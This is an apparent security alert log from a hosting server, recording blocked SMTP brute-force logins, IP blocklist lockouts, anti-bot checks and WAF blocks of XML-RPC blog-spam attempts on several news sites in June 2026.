Jun 20 16:06:28 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:06:36 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:06:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59058: 535 Incorrect authentication data (set_id=nadeem)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:06:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50132: 535 Incorrect authentication data (set_id=ecke)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.132.9
country_id: 3469034
description:
Jun 20 16:07:50 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.132.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:07:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:07:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:41900: 535 Incorrect authentication data (set_id=nugget)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:07:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:39640: 535 Incorrect authentication data (set_id=marvin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:07:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:12822: 535 Incorrect authentication data (set_id=yen)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:07:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:23180: 535 Incorrect authentication data (set_id=realty)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ee8897e275a58efca9580eb23bc280e024229970||Title:0x437a685f||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 20 16:07:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:07:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:63916: 535 Incorrect authentication data (set_id=localize)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:07:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:24550: 535 Incorrect authentication data (set_id=pc101)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:08:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:4282: 535 Incorrect authentication data (set_id=oms)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:09:16 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:08:44 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:08:49 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:08:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:54208: 535 Incorrect authentication data (set_id=yangchao)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:09:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:21168: 535 Incorrect authentication data (set_id=mailstore)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:08:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:45266: 535 Incorrect authentication data (set_id=arcgis)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:09:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:08:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:64688: 535 Incorrect authentication data (set_id=testaccount11)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:08:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:63646: 535 Incorrect authentication data (set_id=andris)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.133
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/la-ligue-des-consommateurs-du-togo-met-en-lumiere-la-note-ministerielle-sur-les-fournitures-scolaires/www.tury-v-spb.com||User:lhxhatyj||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:08:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:44806: 535 Incorrect authentication data (set_id=patan)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:30da6113548220d53966c3ff6b71979efd431f0a||Title:0xaa46b334||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:09:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35566: 535 Incorrect authentication data (set_id=nk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:09:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.146
country_id: 798544
description:
Jun 20 16:10:24 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:09:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:09:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:44028: 535 Incorrect authentication data (set_id=bernie)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:09:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:65286: 535 Incorrect authentication data (set_id=tetris)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:09:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16430: 535 Incorrect authentication data (set_id=ptc)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.238.32.235
country_id: 690791
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/history HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:09:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:09:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:57118: 535 Incorrect authentication data (set_id=herbertb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:09:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:34428: 535 Incorrect authentication data (set_id=nita)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:74be220c477bc150011a175d81766295598eb25d||Title:0xd6075468||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:10:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:5464: 535 Incorrect authentication data (set_id=romi)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:10:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:45748: 535 Incorrect authentication data (set_id=telebox)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:10:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:35364: 535 Incorrect authentication data (set_id=citrix1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.146
country_id: 798544
description:
Jun 20 16:10:30 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:10:33 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:10:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32346: 535 Incorrect authentication data (set_id=edl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:10:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:55984: 535 Incorrect authentication data (set_id=dbm)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:10:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:56824: 535 Incorrect authentication data (set_id=bas)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:10:55 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fdb9540b4233aa08c2651df7762c416f23b0d49d||Title:0x19ef2b00||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:10:57 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:11:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:25388: 535 Incorrect authentication data (set_id=beasiswa)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:034b1127c288c7f8b6ac4fc90820f5e4512db446||Title:0xf5084aaf||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:11:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:22560: 535 Incorrect authentication data (set_id=rpcuser)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:11:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:32692: 535 Incorrect authentication data (set_id=rotor)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:11:43 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:11:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:31956: 535 Incorrect authentication data (set_id=vaio)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:11:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:13594: 535 Incorrect authentication data (set_id=redshift)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:11:35 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:11:43 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:11:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:47680: 535 Incorrect authentication data (set_id=rumbaugh)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:21c7bc8b3ca79d7f21b43f8a631196bab50ce6a4||Title:0xfd67ff2a||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:12:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:33596: 535 Incorrect authentication data (set_id=cedar)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:12:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:41810: 535 Incorrect authentication data (set_id=xrds)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:12:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:12:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:50588: 535 Incorrect authentication data (set_id=vs1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:12:35 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:12:37 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:12:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:9886: 535 Incorrect authentication data (set_id=studio2)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:12:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:3778: 535 Incorrect authentication data (set_id=sehri)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:12:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:63056: 535 Incorrect authentication data (set_id=pex)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:12:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:20740: 535 Incorrect authentication data (set_id=studio2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:13:57 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:13:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:65292: 535 Incorrect authentication data (set_id=tb)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:14:02 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:14:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:1364: 535 Incorrect authentication data (set_id=scrpt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:13:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:15810: 535 Incorrect authentication data (set_id=orenburg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:13:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:14078: 535 Incorrect authentication data (set_id=invest)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.56.8.225
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1966932271 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ff4b91a194f0f8ea0794f2551e7b357f9e8d37f6||Title:0xf3682c65||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:13:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:24984: 535 Incorrect authentication data (set_id=vedono)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:13:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:44174: 535 Incorrect authentication data (set_id=casanova)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:13:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:14:44 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:14:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:55718: 535 Incorrect authentication data (set_id=general)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:14:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:14:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:64550: 535 Incorrect authentication data (set_id=vtest)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:16:14:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7249351&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781972086 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:14:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:55426: 535 Incorrect authentication data (set_id=nsql)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:14:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:41264: 535 Incorrect authentication data (set_id=york)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:09fe49f8ea758f997762c992b99ec0bdf0cbab06||Title:0xf71b00ae||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:14:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:34128: 535 Incorrect authentication data (set_id=edipo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:14:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:46232: 535 Incorrect authentication data (set_id=simone)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:16:14:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054038&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781972072 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:14:43 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:15:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:39962: 535 Incorrect authentication data (set_id=sales2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 20 16:15:40 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:15:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:17264: 535 Incorrect authentication data (set_id=ariston)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:15:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:35362: 535 Incorrect authentication data (set_id=ccm)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:15:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:16676: 535 Incorrect authentication data (set_id=hanif)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:15:30 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5f7a76edd7ee7e1364c7416d5a618d0af031c675||Title:0x059d186a||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:15:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:31302: 535 Incorrect authentication data (set_id=ccm)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:15:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:22132: 535 Incorrect authentication data (set_id=rstest)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 117.5.142.26
country_id: 1562822
domain: 24heureinfo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-15.117.5.142.26||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
